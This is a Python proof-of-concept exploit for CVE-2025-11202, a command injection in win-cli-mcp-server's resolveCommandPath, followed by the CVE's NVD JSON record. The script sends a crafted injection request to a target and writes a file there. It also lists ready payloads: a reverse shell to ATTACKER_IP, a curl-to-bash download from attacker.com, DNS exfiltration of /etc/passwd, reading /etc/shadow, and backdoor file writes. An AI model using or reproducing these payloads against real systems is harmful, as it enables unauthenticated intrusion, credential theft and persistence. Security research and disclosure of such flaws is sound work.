CVE-2025-11202

#!/usr/bin/env python3 # CVE-2025-11202 PoC - Command Injection in win-cli-mcp-server resolveCommandPath # This PoC demonstrates the command injection vulnerability import requests import json TARGET_URL = "http://target-server:port/api" def exploit_command_injection(): """ Exploit the command injection vulnerability in resolveCommandPath The vulnerability allows injection of arbitrary OS commands through unsanitized user input passed to system calls. """ # Malicious payload that injects a command via path parameter # Using semicolon to chain commands malicious_path = "; whoami > /tmp/pwned.txt #" # Alternative payloads: # Reverse shell: "; bash -i >& /dev/tcp/attacker-ip/port 0>&1 #" # File write: "; echo 'malicious' > /tmp/backdoor.sh #" # System info exfil: "; cat /etc/passwd #" payload = { "method": "resolveCommandPath", "params": { "path": malicious_path } } try: response = requests.post( TARGET_URL, json=payload, timeout=10 ) print(f"[*] Request sent to {TARGET_URL}") print(f"[*] Payload: {malicious_path}") print(f"[*] Response status: {response.status_code}") print(f"[*] Response: {response.text}") # Check if the command was executed if response.status_code == 200: print("[+] Exploit likely successful!") print("[+] Check /tmp/pwned.txt on target system") else: print("[-] Exploit may have failed or target not vulnerable") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") def generate_payloads(): """Generate various command injection payloads for testing""" payloads = { # Basic command injection "basic_injection": "; id", # Reverse shell (attacker needs listener) "reverse_shell": "; bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1", # File write for persistence "write_file": "; echo 'backdoor' > /tmp/.hidden", # Read sensitive files "read_shadow": "; cat /etc/shadow", # Download and execute "download_exec": "; curl http://attacker.com/shell.sh|bash", # DNS exfiltration "dns_exfil": "; cat /etc/passwd | base64 | xargs nslookup $(whoami).attacker.com" } print("[*] Available payloads for manual testing:") for name, payload in payloads.items(): print(f" {name}: {payload}") if __name__ == "__main__": print("=" * 60) print("CVE-2025-11202 Command Injection PoC") print("Target: win-cli-mcp-server resolveCommandPath") print("=" * 60) # Run exploit exploit_command_injection() # Show additional payloads generate_payloads()

{"cve": {"id": "CVE-2025-11202", "sourceIdentifier": "[email protected]", "published": "2025-10-29T20:15:35.807", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "win-cli-mcp-server resolveCommandPath Command Injection Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of win-cli-mcp-server. Authentication is not required to exploit this vulnerability.\n\nThe specific flaw exists within the implementation of the resolveCommandPath method. The issue results from the lack of proper validation of a user-supplied string before using it to execute a system call. An attacker can leverage this vulnerability to execute code in the context of the service account. Was ZDI-CAN-27787."}], "metrics": {"cvssMetricV30": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.0", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-78"}]}], "references": [{"url": "https://github.com/simon-ami/win-cli-mcp-server/commit/521b4a34190d03bde7d433d213c36357181a6d09", "source": "[email protected]"}, {"url": "https://www.zerodayinitiative.com/advisories/ZDI-25-930/", "source": "[email protected]"}]}}